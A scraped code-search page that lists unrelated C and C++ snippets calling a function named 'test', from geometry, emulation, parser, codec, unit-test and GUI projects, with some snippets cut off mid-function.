Пример #1
0
//-----------------------------------------------------------------------------
//  BoundaryMap private method definitions
//-----------------------------------------------------------------------------
void BoundaryMap::computeSignedDistanceField(SparseVoxelMap<float*>& map, 
        const TriangleMesh& mesh)
{
    const float* vertexList = mesh.getVertexList();
    const unsigned int* faceList = mesh.getFaceList();
    const float *v1, *v2, *v3;
    unsigned int cMin[3];
    unsigned int cMax[3];
    float x0 = mDomain.getV1().getX();
    float y0 = mDomain.getV1().getY();
    float z0 = mDomain.getV1().getZ();
    float x[3];
    float normal[3];
    float dist;

    //
    // compute distance
    //

    // for each triangle of the mesh
    for (unsigned int m = 0; m < mesh.getNumFaces(); m++) 
    {
        std::cout << m << " of " << mesh.getNumFaces() << std::endl;

        //get triangle vertices
        v1 = &vertexList[3*faceList[3*m + 0]];
        v2 = &vertexList[3*faceList[3*m + 1]];
        v3 = &vertexList[3*faceList[3*m + 2]];

        // compute bounding box of the triangle
        this->computeGridCoordinates(cMin, cMax, v1, v2, v3);

        //std::cout << "cMin[0] = " << cMin[0] << std::endl;
        //std::cout << "cMin[1] = " << cMin[1] << std::endl;
        //std::cout << "cMin[2] = " << cMin[2] << std::endl;
        //std::cout << "cMax[0] = " << cMax[0] << std::endl;
        //std::cout << "cMax[1] = " << cMax[1] << std::endl;
        //std::cout << "cMax[2] = " << cMax[2] << std::endl;

        // for each coordinate within the bounding box
        for (unsigned int k = cMin[2]; k <= cMax[2]; k++) 
        {
            for (unsigned int j = cMin[1]; j <= cMax[1]; j++) 
            {
                for (unsigned int i = cMin[0]; i <= cMax[0]; i++) 
                {
                    // translate coordinate to world coordinates
                    x[0] = x0 + i*mDx;
                    x[1] = y0 + j*mDx;
                    x[2] = z0 + k*mDx;

                    // compute distance to the triangle
                    compute_distance_point_triangle(dist, normal, x, v1, v2, v3);

                    // update sparse voxel map
                    if (dist <= mMaxDist)
                    {
                        Coordinate coord(i, j, k);

                        // if the map already contains distance information
                        // at the current coordinate
                        if (map.contains(coord)) 
                        {
                            // check if the previously computed distance is
                            // is greater than [dist].
                            float prev;
                            float* nodeContent;
                            map.get(nodeContent, coord);
                            prev = nodeContent[NC_DISTANCE];
                            if (prev > dist)
                            {
                                // if yes, update the map
                                delete[] nodeContent;
                                nodeContent = new float[NC_NUM_ELEMENTS];
                                nodeContent[NC_DISTANCE] = dist;
                                nodeContent[NC_NORMAL_X] = normal[0];
                                nodeContent[NC_NORMAL_Y] = normal[1];
                                nodeContent[NC_NORMAL_Z] = normal[2];
                                map.add(coord, nodeContent);
                            }
                        }
                        // if not yet contained in the map
                        else
                        {
                            float* nodeContent = new float[NC_NUM_ELEMENTS];
                            nodeContent[NC_DISTANCE] = dist;
                            nodeContent[NC_NORMAL_X] = normal[0];
                            nodeContent[NC_NORMAL_Y] = normal[1];
                            nodeContent[NC_NORMAL_Z] = normal[2];
                            //std::cout << dist << std::endl;
                            // just add val to the map
                            map.add(coord, nodeContent);
                        }
                    }
                }
            }
        }
    }

    //
    // compute sign of distance
    //
    std::cout << "point in mesh test" << std::endl;
    PointInMeshTest test(mesh, 20);
    
    // for each coordinate in the signed distance field
    std::list<Coordinate>::const_iterator& it = mNodeContents.begin();
    std::list<Coordinate>::const_iterator& end = mNodeContents.end();
    Coordinate c;

    for (; it != end; it++)
    { 
        // translate coordinate to world coordinate
        c = *it;
        x[0] = x0 + c.i*mDx;
        x[1] = y0 + c.j*mDx;
        x[2] = z0 + c.k*mDx;
        
        // if [x] is inside the mesh
        if (test.isContained(Vector3f(x[0], x[1], x[2])))
        {
            // negate the distances in the signed distance field
            float* nodeContent;
            mNodeContents.get(nodeContent, c);
            nodeContent[NC_DISTANCE] = -nodeContent[NC_DISTANCE]; 
        }
    }
    
    std::cout << "point in mesh test finished" << std::endl;
}
void GPUDrawScanlineCodeGenerator::Generate()
{
	push(esi);
	push(edi);

	Init();

	align(16);

L("loop");

	// GSVector4i test = m_test[7 + (steps & (steps >> 31))];

	mov(edx, ecx);
	sar(edx, 31);
	and(edx, ecx);
	shl(edx, 4);

	movdqa(xmm7, ptr[edx + (size_t)&m_test[7]]);

	// movdqu(xmm1, ptr[edi]);

	movq(xmm1, qword[edi]);
	movhps(xmm1, qword[edi + 8]);

	// ecx = steps
	// esi = tex (tme)
	// edi = fb
	// xmm1 = fd
	// xmm2 = s
	// xmm3 = t
	// xmm4 = r
	// xmm5 = g
	// xmm6 = b
	// xmm7 = test

	TestMask();

	SampleTexture();

	// xmm1 = fd
	// xmm3 = a
	// xmm4 = r
	// xmm5 = g
	// xmm6 = b
	// xmm7 = test
	// xmm0, xmm2 = free

	ColorTFX();

	AlphaBlend();

	Dither();

	WriteFrame();

L("step");

	// if(steps <= 0) break;

	test(ecx, ecx);
	jle("exit", T_NEAR);

	Step();

	jmp("loop", T_NEAR);

L("exit");

	pop(edi);
	pop(esi);

	ret(8);
}
int
main(int argc, char **argv)
{
        test();
        return 0;
}
Пример #4
0
ExprPtr Parser::primaryExpression(bool se)
{
	ExprPtr ret;
	/* TODO
	if(test(TMinus))
	{
		return inScope(new UnaryExpr(PrimaryExpression(se), Token.Minus));
	}*/

	if(token == TCase)
	{
		ret = patternMatch(se);
	}
	else if (token == TIdent || token == TTypeIdent)
	{
		string const& name = nextIdent(se);

		auto varDecl = resolveLocal(currentScope, name);

		if(varDecl)
			ret = inScope(new VarRef(varDecl));
		else
			ret = inScope(new NamedRef(name));
	}
	else if(token == TConstNum)
	{
		if(tokenStr.find('.') != string::npos)
			ret = inScope(new FConstExpr(tokenNum(se)));
		else
			ret = inScope(new ConstExpr(tokenNum(se)));
	}
	else if(test(TLParen))
	{
		ret = expression(false);
		expect(TRParen);
	}
	else if (firstControlSeq[token])
	{
		ret = controlSeqExpression(se);
	}
	else
	{
		throw CompileError(CEParseError, currentLine);
	}

	while(true)
	{
		switch(token)
		{
			case TLParen:
			{
				next(false);

				auto call = inScope(new CallExpr());

				call->func = ret;
				ret = call;

				if(token != TRParen)
				{
					do
					{
						ExprPtr const& param = expression(false);
						call->parameters.push_back(param);
					}
					while(test(TComma));
				}

				expect(TRParen, se);
				break;
			}

			/*
			case Token.Dot:
			{
				Next(false);

				var name = ExpectIdent(se);

				ret = InScope(new SlotRef(ret, name));
				break;
			}*/

			default:
				return ret;
		}
	}
}
Пример #5
0
IntrusiveRefCntPtr<Module> Parser::module()
{
	mod = new Module;

	expect(TModule);

	expectPeek(TTypeIdent);
	mod->name = nextIdent();

	expect(TLParen);

	if(token != TRParen)
	{
		do
		{
			if(token != TIdent && token != TTypeIdent)
				throw CompileError(CEUnexpectedToken, -1);
			string const& name = nextIdent();
			mod->exportedSymbols.push_back(name);
		}
		while(test(TComma));
	}

	expect(TRParen, true);

	do
	{
		if(test(TImport))
		{
			expectPeek(TTypeIdent);
			string const& name = nextIdent(true);

			mod->imports.push_back(Import(name));
		}
		else if(token != TSemicolon) // TODO: Make into set
		{
			break;
		}
	}
	while(test(TSemicolon));

	do
	{
		if(token == TTypeIdent)
		{
			structBody();
		}
		else if(token == TIdent)
		{
			enterTypeScope();
			funcDef(true);
			exitTypeScope();
		}
		else if(test(TClass))
		{
			expectPeek(TTypeIdent);
			string const& name = nextIdent(false);

			IntrusiveRefCntPtr<Class> def(new Class(name));

			enterTypeScope();

			typeParamList(def->typeParams, false);

			expect(TLBrace);

			do
			{
				if (token == TIdent)
				{
					funcDef(false);
				}
			}
			while (test(TSemicolon));

			expect(TRBrace, true);

			exitTypeScope();

			mod->classDefs[def->name] = def;
		}
	}
	while(test(TSemicolon));

	expect(TEof);

	return mod;
}
Пример #6
0
int main()
{
    test(XML{});
    test(JSON{});
}
Пример #7
0
int main(int, char**)
{
    {
    typedef std::string S;
    test(S(""), 'c', 0, S::npos);
    test(S(""), 'c', 1, S::npos);
    test(S("abcde"), 'c', 0, 2);
    test(S("abcde"), 'c', 1, 2);
    test(S("abcde"), 'c', 2, 2);
    test(S("abcde"), 'c', 4, S::npos);
    test(S("abcde"), 'c', 5, S::npos);
    test(S("abcde"), 'c', 6, S::npos);
    test(S("abcdeabcde"), 'c', 0, 2);
    test(S("abcdeabcde"), 'c', 1, 2);
    test(S("abcdeabcde"), 'c', 5, 7);
    test(S("abcdeabcde"), 'c', 9, S::npos);
    test(S("abcdeabcde"), 'c', 10, S::npos);
    test(S("abcdeabcde"), 'c', 11, S::npos);
    test(S("abcdeabcdeabcdeabcde"), 'c', 0, 2);
    test(S("abcdeabcdeabcdeabcde"), 'c', 1, 2);
    test(S("abcdeabcdeabcdeabcde"), 'c', 10, 12);
    test(S("abcdeabcdeabcdeabcde"), 'c', 19, S::npos);
    test(S("abcdeabcdeabcdeabcde"), 'c', 20, S::npos);
    test(S("abcdeabcdeabcdeabcde"), 'c', 21, S::npos);

    test(S(""), 'c', S::npos);
    test(S("abcde"), 'c', 2);
    test(S("abcdeabcde"), 'c', 2);
    test(S("abcdeabcdeabcdeabcde"), 'c', 2);
    }
#if TEST_STD_VER >= 11
    {
    typedef std::basic_string<char, std::char_traits<char>, min_allocator<char>> S;
    test(S(""), 'c', 0, S::npos);
    test(S(""), 'c', 1, S::npos);
    test(S("abcde"), 'c', 0, 2);
    test(S("abcde"), 'c', 1, 2);
    test(S("abcde"), 'c', 2, 2);
    test(S("abcde"), 'c', 4, S::npos);
    test(S("abcde"), 'c', 5, S::npos);
    test(S("abcde"), 'c', 6, S::npos);
    test(S("abcdeabcde"), 'c', 0, 2);
    test(S("abcdeabcde"), 'c', 1, 2);
    test(S("abcdeabcde"), 'c', 5, 7);
    test(S("abcdeabcde"), 'c', 9, S::npos);
    test(S("abcdeabcde"), 'c', 10, S::npos);
    test(S("abcdeabcde"), 'c', 11, S::npos);
    test(S("abcdeabcdeabcdeabcde"), 'c', 0, 2);
    test(S("abcdeabcdeabcdeabcde"), 'c', 1, 2);
    test(S("abcdeabcdeabcdeabcde"), 'c', 10, 12);
    test(S("abcdeabcdeabcdeabcde"), 'c', 19, S::npos);
    test(S("abcdeabcdeabcdeabcde"), 'c', 20, S::npos);
    test(S("abcdeabcdeabcdeabcde"), 'c', 21, S::npos);

    test(S(""), 'c', S::npos);
    test(S("abcde"), 'c', 2);
    test(S("abcdeabcde"), 'c', 2);
    test(S("abcdeabcdeabcdeabcde"), 'c', 2);
    }
#endif

  return 0;
}
Пример #8
0
int MarketDefaultTest::testCfgDefaults(Value* stream)
{
	return test(stream, &Tester::testCfgDefaults, mErrorLevel);
}
Пример #9
0
/*************************************************************************
 *
 * FUNCTION:  Qua_gain()
 *
 * PURPOSE: Quantization of pitch and codebook gains.
 *          (using predicted codebook gain)
 *
 *************************************************************************/
Word16
Qua_gain(                   /* o  : index of quantization.                 */   
    enum Mode mode,         /* i  : AMR mode                               */
    Word16 exp_gcode0,      /* i  : predicted CB gain (exponent),      Q0  */
    Word16 frac_gcode0,     /* i  : predicted CB gain (fraction),      Q15 */
    Word16 frac_coeff[],    /* i  : energy coeff. (5), fraction part,  Q15 */
    Word16 exp_coeff[],     /* i  : energy coeff. (5), exponent part,  Q0  */
                            /*      (frac_coeff and exp_coeff computed in  */
                            /*       calc_filt_energies())                 */
    Word16 gp_limit,        /* i  : pitch gain limit                       */
    Word16 *gain_pit,       /* o  : Pitch gain,                        Q14 */
    Word16 *gain_cod,       /* o  : Code gain,                         Q1  */
    Word16 *qua_ener_MR122, /* o  : quantized energy error,            Q10 */
                            /*      (for MR122 MA predictor update)        */
    Word16 *qua_ener        /* o  : quantized energy error,            Q10 */
                            /*      (for other MA predictor update)        */
)
{
    const Word16 *p;
    Word16 i, j, index = 0;
    Word16 gcode0, e_max, exp_code;
    Word16 g_pitch, g2_pitch, g_code, g2_code, g_pit_cod;
    Word16 coeff[5], coeff_lo[5];
    Word16 exp_max[5];
    Word32 L_tmp, dist_min;
    const Word16 *table_gain;
    Word16 table_len;
    
    test();  test(); test();
    if ( sub (mode, MR102) == 0 || sub (mode, MR74) == 0 || sub (mode, MR67) == 0)
    {
       table_len = VQ_SIZE_HIGHRATES;            move16 ();
       table_gain = table_gain_highrates;        move16 ();
    }
    else
    {
       table_len = VQ_SIZE_LOWRATES;             move16 ();
       table_gain = table_gain_lowrates;         move16 ();
    }
    
    /*-------------------------------------------------------------------*
     *  predicted codebook gain                                          *
     *  ~~~~~~~~~~~~~~~~~~~~~~~                                          *
     *  gc0     = 2^exp_gcode0 + 2^frac_gcode0                           *
     *                                                                   *
     *  gcode0 (Q14) = 2^14*2^frac_gcode0 = gc0 * 2^(14-exp_gcode0)      *
     *-------------------------------------------------------------------*/

    gcode0 = extract_l(Pow2(14, frac_gcode0));

    /*-------------------------------------------------------------------*
     *  Scaling considerations:                                          *
     *  ~~~~~~~~~~~~~~~~~~~~~~~                                          *
     *-------------------------------------------------------------------*/

    /*
     * The error energy (sum) to be minimized consists of five terms, t[0..4].
     *
     *                      t[0] =    gp^2  * <y1 y1>
     *                      t[1] = -2*gp    * <xn y1>
     *                      t[2] =    gc^2  * <y2 y2>
     *                      t[3] = -2*gc    * <xn y2>
     *                      t[4] =  2*gp*gc * <y1 y2>
     *
     */

    /* determine the scaling exponent for g_code: ec = ec0 - 11 */
    exp_code = sub(exp_gcode0, 11);

    /* calculate exp_max[i] = s[i]-1 */
    exp_max[0] = sub(exp_coeff[0], 13);                        move16 ();
    exp_max[1] = sub(exp_coeff[1], 14);                        move16 ();
    exp_max[2] = add(exp_coeff[2], add(15, shl(exp_code, 1))); move16 ();
    exp_max[3] = add(exp_coeff[3], exp_code);                  move16 ();
    exp_max[4] = add(exp_coeff[4], add(1, exp_code));          move16 ();


    /*-------------------------------------------------------------------*
     *  Find maximum exponent:                                           *
     *  ~~~~~~~~~~~~~~~~~~~~~~                                           *
     *                                                                   *
     *  For the sum operation, all terms must have the same scaling;     *
     *  that scaling should be low enough to prevent overflow. There-    *
     *  fore, the maximum scale is determined and all coefficients are   *
     *  re-scaled:                                                       *
     *                                                                   *
     *    e_max = max(exp_max[i]) + 1;                                   *
     *    e = exp_max[i]-e_max;         e <= 0!                          *
     *    c[i] = c[i]*2^e                                                *
     *-------------------------------------------------------------------*/

    e_max = exp_max[0];                                        move16 ();
    for (i = 1; i < 5; i++)
    {
        move16(); test();
        if (sub(exp_max[i], e_max) > 0)
        {
            e_max = exp_max[i];                                move16 ();
        }
    }

    e_max = add(e_max, 1);      /* To avoid overflow */

    for (i = 0; i < 5; i++) {
        j = sub(e_max, exp_max[i]);
        L_tmp = L_deposit_h(frac_coeff[i]);
        L_tmp = L_shr(L_tmp, j);
        L_Extract(L_tmp, &coeff[i], &coeff_lo[i]);
    }


    /*-------------------------------------------------------------------*
     *  Codebook search:                                                 *
     *  ~~~~~~~~~~~~~~~~                                                 *
     *                                                                   *
     *  For each pair (g_pitch, g_fac) in the table calculate the        *
     *  terms t[0..4] and sum them up; the result is the mean squared    *
     *  error for the quantized gains from the table. The index for the  *
     *  minimum MSE is stored and finally used to retrieve the quantized *
     *  gains                                                            *
     *-------------------------------------------------------------------*/

    /* start with "infinite" MSE */
    dist_min = MAX_32;        move32();

    p = &table_gain[0];       move16 ();

    for (i = 0; i < table_len; i++)
    {
        g_pitch = *p++;       move16 ();
        g_code = *p++;        move16 (); /* this is g_fac        */
        p++;                             /* skip log2(g_fac)     */
        p++;                             /* skip 20*log10(g_fac) */
            
        test ();
        if (sub(g_pitch, gp_limit) <= 0)
        {
            g_code = mult(g_code, gcode0);
            g2_pitch = mult(g_pitch, g_pitch);
            g2_code = mult(g_code, g_code);
            g_pit_cod = mult(g_code, g_pitch);

            L_tmp = Mpy_32_16(coeff[0], coeff_lo[0], g2_pitch);
            L_tmp = L_add(L_tmp, Mpy_32_16(coeff[1], coeff_lo[1], g_pitch));
            L_tmp = L_add(L_tmp, Mpy_32_16(coeff[2], coeff_lo[2], g2_code));
            L_tmp = L_add(L_tmp, Mpy_32_16(coeff[3], coeff_lo[3], g_code));
            L_tmp = L_add(L_tmp, Mpy_32_16(coeff[4], coeff_lo[4], g_pit_cod));

            /* store table index if MSE for this index is lower
               than the minimum MSE seen so far */
            test ();
            if (L_sub(L_tmp, dist_min) < (Word32) 0)
            {
                dist_min = L_tmp; move32 ();
                index = i;        move16 ();
            }
        }
    }

    /*------------------------------------------------------------------*
     *  read quantized gains and new values for MA predictor memories   *
     *  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   *
     *------------------------------------------------------------------*/

    /* Read the quantized gains */
    p = &table_gain[shl (index, 2)]; move16 ();
    *gain_pit = *p++;         move16();
    g_code = *p++;            move16();
    *qua_ener_MR122 = *p++;   move16();
    *qua_ener = *p;           move16();

    /*------------------------------------------------------------------*
     *  calculate final fixed codebook gain:                            *
     *  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~                            *
     *                                                                  *
     *   gc = gc0 * g                                                   *
     *------------------------------------------------------------------*/

    L_tmp = L_mult(g_code, gcode0);
    L_tmp = L_shr(L_tmp, sub(10, exp_gcode0));
    *gain_cod = extract_h(L_tmp);

    return index;
}
Пример #10
0
int main(int argc, char *argv[])
{
	test("1", 0, 10, 1);
	test("0", -2, 5, 1);
	test("0", 2, 5, 0);
	test("0", 2, LLONG_MAX, 0);
	test("-2", 0, LLONG_MAX, 0);
	test("0", -5, LLONG_MAX, 1);
	test("-3", -3, LLONG_MAX, 1);
	test("-9223372036854775808", LLONG_MIN, LLONG_MAX, 1);
	test("9223372036854775807", LLONG_MIN, LLONG_MAX, 1);
	test("-9223372036854775809", LLONG_MIN, LLONG_MAX, 0);
	test("9223372036854775808", LLONG_MIN, LLONG_MAX, 0);
	test("1000000000000000000000000", LLONG_MIN, LLONG_MAX, 0);
	test("-1000000000000000000000000", LLONG_MIN, LLONG_MAX, 0);
	test("-2", 10, -1, 0);
	test("-2", -10, -1, 1);
	test("-20", -10, -1, 0);
	test("20", -10, -1, 0);

	return (fail);
}
Пример #11
0
int MarketDefaultTest::testHighLevel(Value* stream)
{
	return test(stream, &Tester::testHighLevel, mErrorLevel);
}
Пример #12
0
static void close_dummy(void)
{
    test(1 == 1);
}
Пример #13
0
int Detector::detect(IntegralImage &intg, int max_num, CB_RectT *pt_rects, int &subwin_count)
{
	int image_w = intg.width;
	int image_h = intg.height;

	CB_PointT tpl_size = ptr_model->p_ft_param->getTemplateSize();
	
	SubwinInfoT subwin;
	subwin.image_size.x = image_w;
	subwin.image_size.y = image_h;
	subwin.win_size = tpl_size;

	double cur_scan_scale = 1.0;

	int detection_count = 0;
	subwin_count = 0;
	while (subwin.win_size.x < image_w && subwin.win_size.y < image_h) 
	{
		if (subwin.win_size.x < param.min_win_w || subwin.win_size.x > param.max_win_w)
		{
			cur_scan_scale *= param.scan_scale_step;
			subwin.win_size.x = tpl_size.x * cur_scan_scale;
			subwin.win_size.y = tpl_size.y * cur_scan_scale;
			continue;
		}
		subwin.win_pos.y = param.hot_rect.top;
		while (subwin.win_pos.y + subwin.win_size.y < param.hot_rect.bottom - 1)
		{
			subwin.win_pos.x = param.hot_rect.left;
			while (subwin.win_pos.x + subwin.win_size.x < param.hot_rect.right - 1)
			{
				subwin_count++;
				if (test(intg, subwin) <= 0)
				{
					subwin.win_pos.x += param.scan_shift_step * cur_scan_scale;
					continue;
				}
					
				CB_RectT rect; 
				rect.left = subwin.win_pos.x;
				rect.right = rect.left + subwin.win_size.x - 1;
				rect.top = subwin.win_pos.y;
				rect.bottom = rect.top + subwin.win_size.y - 1;

				pt_rects[detection_count] = rect;
				detection_count++;

				if (detection_count >= max_num)
				{
					return detection_count;
				}
				subwin.win_pos.x += param.scan_shift_step * cur_scan_scale;
			}
			subwin.win_pos.y += param.scan_shift_step * cur_scan_scale;
		}
		cur_scan_scale *= param.scan_scale_step;
		subwin.win_size.x = tpl_size.x * cur_scan_scale;
		subwin.win_size.y = tpl_size.y * cur_scan_scale;
	}
	printf("%d\n", detection_count);
	return detection_count;
}
Пример #14
0
int main(int argc, const char * argv[])
{
    test();
}
Пример #15
0
// test streams
bool FBTestPluginAPI::testStreams()
{
    StreamsTest test( m_host );
    return test.run();
}
Пример #16
0
int
main()
{
    test();
    return boost::report_errors();
}
Пример #17
0
int RssRegexpDlg::exec()
{
	int r;
	
	if(m_feeds.isEmpty() || g_queues.isEmpty())
		return QDialog::Rejected;
	
	for(int i=0;i<m_feeds.size();i++)
	{
		comboFeed->addItem(m_feeds[i].name);
		comboFeed->setItemData(i, m_feeds[i].url);
		
		if(m_feeds[i].url == m_regexp.source)
			comboFeed->setCurrentIndex(i);
	}
	
	
	g_queuesLock.lockForRead();
	for(int i=0;i<g_queues.size();i++)
	{
		comboQueue->addItem(g_queues[i]->name());
		comboQueue->setItemData(i, g_queues[i]->uuid());
		comboQueue->setItemData(i, g_queues[i]->defaultDirectory(), Qt::UserRole+1);
		
		if(g_queues[i]->uuid() == m_regexp.queueUUID)
			comboQueue->setCurrentIndex(i);
	}
	g_queuesLock.unlock();
	
	if(m_regexp.target.isEmpty())
	{
		m_nLastQueue = comboQueue->currentIndex();
		if(m_nLastQueue != -1)
			m_regexp.target = comboQueue->itemData(m_nLastQueue, Qt::UserRole+1).toString();
		else
			m_regexp.target = QDir::homePath();
	}
	
	lineExpression->setText(m_regexp.regexp.pattern());
	lineTarget->setText(m_regexp.target);
	
	switch(m_regexp.tvs)
	{
	case RssRegexp::None:
		radioTVSNone->setChecked(true); break;
	case RssRegexp::SeasonBased:
		radioTVSSeason->setChecked(true); break;
	case RssRegexp::EpisodeBased:
		radioTVSEpisode->setChecked(true); break;
	case RssRegexp::DateBased:
		radioTVSDate->setChecked(true); break;
	}
	
	lineTVSFrom->setText(m_regexp.from);
	lineTVSTo->setText(m_regexp.to);
	checkTVSRepacks->setChecked(m_regexp.includeRepacks);
	checkTVSTrailers->setChecked(m_regexp.includeTrailers);
	checkTVSNoManuals->setChecked(m_regexp.excludeManuals);
	checkAddPaused->setChecked(m_regexp.addPaused);

	if(!m_regexp.linkRegexp.isEmpty())
	{
		radioParsingExtract->setChecked(true);
		lineParsingRegexp->setText(m_regexp.linkRegexp.pattern());
	}
	
	connect(comboQueue, SIGNAL(currentIndexChanged(int)), this, SLOT(queueChanged(int)));
	
	test();
	updateParsing();
	
	if((r = QDialog::exec()) == QDialog::Accepted)
	{
		m_regexp.regexp = QRegExp(lineExpression->text(), Qt::CaseInsensitive);
		m_regexp.target = lineTarget->text();
		
		m_regexp.queueUUID = comboQueue->itemData(comboQueue->currentIndex()).toString();
		m_regexp.source = comboFeed->itemData(comboFeed->currentIndex()).toString();
		
		m_regexp.from = lineTVSFrom->text();
		m_regexp.to = lineTVSTo->text();
		
		if(radioTVSNone->isChecked())
			m_regexp.tvs = RssRegexp::None;
		else if(radioTVSSeason->isChecked())
			m_regexp.tvs = RssRegexp::SeasonBased;
		else if(radioTVSEpisode->isChecked())
			m_regexp.tvs = RssRegexp::EpisodeBased;
		else
			m_regexp.tvs = RssRegexp::DateBased;
		
		m_strFeedName = comboFeed->currentText();
		m_regexp.includeRepacks = checkTVSRepacks->isChecked();
		m_regexp.includeTrailers = checkTVSTrailers->isChecked();
		m_regexp.excludeManuals = checkTVSNoManuals->isChecked();
		m_regexp.addPaused = checkAddPaused->isChecked();
		m_regexp.linkRegexp = QRegExp(lineParsingRegexp->text(), Qt::CaseInsensitive);
	}
	
	return r;
}
Пример #18
0
int main()
{
  MyTest test("ask");
  test.run();
  return 0;
}
Пример #19
0
void
test_lcm(void)
{
	test(__FILE__, s, sizeof (s) / sizeof (char *));
}
Пример #20
0
static void run_(testcase* test, const char* name)
{
  fprintf(stderr, "\n[ ******** STARTING TESTCASE '%s' ******** ]\n", name);
  reset_timers();
  test();
}
/**
 * \brief Start-Funktion der Testumgebung
 *
 * Diese Funktion wird einmal beim Starten der Testumgebung
 * aufgerufen.
 */
TEFUNC
void initialize(int /*argc*/, char** /*argv*/) {

	// --------- Ein wenig Testkram, ist unbedeutetnd -------------

	orientationInit.normalize();
	Quaternion test(0,M_PI/2,M_PI/2);
	cout << test << endl
		 << M_PI/2 << endl
		 << test.getEulerRotation() << endl;

//		exit (0);


	//----------------- uhr initialisieren --------------------
	timer.init();
	
	// --- Anlegen der Zeiger und Objekte mit denen gearbeitet werden soll ----

	RigidBodyPtr body;
	GeometryPtr boxGeo;

	// Erste id ist null. Wird dann hochgezählt.
	Id id(Id::typeBox,0);


	// -------------- Einfache Rotation -----------
	//Euler
	id.setNumber(0);
	
	body = rigidBodySystemEuler.create(id);
	
	body->setPosition(positionInit);
	body->setMass(massInit);
	body->setOrientation(orientationInit);
	body->setVelocity(velocityInit);
	body->setAngularVelocity(angularVelocityInit);
		
 	boxGeo = geometrySystem.createBox(body, boxScaleInit);
 	boxGeo->setBounciness(0.6);
 	boxGeo->setColor(Graphics::red);
  

	//Runge-Kutta
	id.setNumber(1);
	
	body = rigidBodySystemRunge.create(id);
	body->setPosition(Vec3(-300.0, 0.0, 0.0));
	
	body->setPosition(positionInit);
	body->setMass(massInit);
	body->setOrientation(orientationInit);
	body->setVelocity(velocityInit);
	body->setAngularVelocity(angularVelocityInit);
		
	boxGeo = geometrySystem.createBox(body, boxScaleInit);
   	boxGeo->setBounciness(0.6);
	boxGeo->setColor(Graphics::blue);

	// Verlet-Baltman
	 id.setNumber(2);

 	body = rigidBodySystemVerlet.create(id);
 	body->setPosition(positionInit);

 	body->setMass(massInit);
 	body->setOrientation(orientationInit);
 	body->setVelocity(velocityInit);
 	body->setAngularVelocity(angularVelocityInit);

		
   	boxGeo = geometrySystem.createBox(body, boxScaleInit);
   	boxGeo->setBounciness(0.6);
   	boxGeo->setColor(Graphics::green);


	referenceBody->setPosition(positionInit);
	referenceBody->setMass(massInit);
	referenceBody->setOrientation(orientationInit);
	referenceBody->setVelocity(velocityInit);
	referenceBody->setAngularVelocity(angularVelocityInit);
		
	boxGeo = geometrySystem.createBox(referenceBody, boxScaleInit);
	boxGeo->setBounciness(0.6);
	boxGeo->setColor(Graphics::yellow);

	// ------------- Keine Visosity -------------
	rigidBodySystemEuler.disableViscosity();
	rigidBodySystemRunge.disableViscosity();
	rigidBodySystemVerlet.disableViscosity();
	
			
}
Пример #22
0
std::vector<std::string> *
NetworkModule::getDatas(void) {
	std::ostringstream		s;
	short					network_layer;
	short					link_layer;
	int						mib[6];
	char *					buf = NULL, * lim, * next;
	size_t					len;
	struct if_msghdr *		ifm;

	static int64_t			prev_ipackets;
	static int64_t			prev_opackets;
	static int64_t			prev_ibytes;
	static int64_t			prev_obytes;

	static_cast<void>(network_layer);
	static_cast<void>(prev_ipackets);
	static_cast<void>(prev_opackets);

	int64_t ipackets = 0;
	int64_t opackets = 0;
	int64_t ibytes = 0;
	int64_t obytes = 0;

	mib[0]	= CTL_NET;			// networking subsystem
	mib[1]	= PF_ROUTE;			// type of information
	mib[2]	= 0;				// protocol (IPPROTO_xxx)
	mib[3]	= 0;				// address family
	mib[4]	= NET_RT_IFLIST2;	// operation
	mib[5]	= 0;

	this->_datas = new std::vector<std::string>;

	if (sysctl(mib, 6, NULL, &len, NULL, 0) < 0)
		return this->_datas;

	buf = new char[len];

	if (sysctl(mib, 6, buf, &len, NULL, 0) < 0) {
		if (buf)
			free(buf);
		return this->_datas;
	}

	lim = buf + len;
	for (next = buf; next < lim; ) {
		network_layer = link_layer = 0;
		ifm = reinterpret_cast<struct if_msghdr *>(next);
		next += ifm->ifm_msglen;

		if (ifm->ifm_type == RTM_IFINFO2) {
			struct if_msghdr2 	*if2m = reinterpret_cast<struct if_msghdr2 *>(ifm);

			if(if2m->ifm_data.ifi_type!=18) { /* do not count loopback traffic */
				opackets += if2m->ifm_data.ifi_opackets;
				ipackets += if2m->ifm_data.ifi_ipackets;
				obytes   += if2m->ifm_data.ifi_obytes;
				ibytes   += if2m->ifm_data.ifi_ibytes;
			}
		}
	}

	float delta_obytes = obytes - prev_obytes;
	float delta_ibytes = ibytes - prev_ibytes;

	free(buf);

	prev_ipackets = ipackets;
	prev_opackets = opackets;
	prev_ibytes = ibytes;
	prev_obytes = obytes;

//	printf("total network bytes input: %f\n", (double) delta_ibytes);
//	printf("total network bytes output: %f\n", (double) delta_obytes);

//	double result = ((double) delta_obytes + delta_ibytes) / ((double) 1024 * 1024 * (250.0 / 1000.0));	double net = getNetwork();

	delta_ibytes /= pow(10, 6);
	delta_obytes /= pow(10, 6);
	this->_datas = new std::vector<std::string>;

	int		l = strlen("NETWORK THROUGHPUT");
	int		pos = static_cast<int>((34 - l) / 2);
	int i;
	s.str(std::string());
	s << '<';
	for (i = 0; i + 1 < pos - 1; i++) {
		s << '-';
	}
	s << " NETWORK THROUGHOUT ";
	for (i = pos + l + 2; i < 34; i++) {
		s << '-';
	}
	s << '>';
	std::string test(s.str());
	this->_datas->push_back(test);

	s.str(std::string());
	s << "Download : " << delta_ibytes << " Mb/s";
	std::string data1(s.str());
//	this->_datas->push_back("download : ");
	this->_datas->push_back(data1);
	s.clear();//clear any bits set
	s.str(std::string());
	s << "Upload : " << delta_obytes << " Mb/s";
	std::string data2(s.str());
//	this->_datas->push_back("upload : ");
	this->_datas->push_back(data2);
	return this->_datas;

}
Пример #23
0
IntrusiveRefCntPtr<FuncDef> Parser::funcDef(bool allowImplicitTypeVars)
{
	string const& name = nextIdent(false);

	// TODO: Always surround this in a type scope?

	IntrusiveRefCntPtr<FuncDef> def(new FuncDef(name));

	int paramCount = 0;
	enterFunction(def);
	enterScope(new Scope);

	if(test(TLParen))
	{
		if(token != TRParen)
		{
			do
			{
				TypePtr type;
				string paramName;
				if(allowImplicitTypeVars)
				{
					paramName = expectIdent();
					type = typeNameOrNewVar(false);
				}
				else
				{
					type = maybeType(false);
					if(! type)
					{
						paramName = expectIdent();
						type = typeName(false);
					}
				}

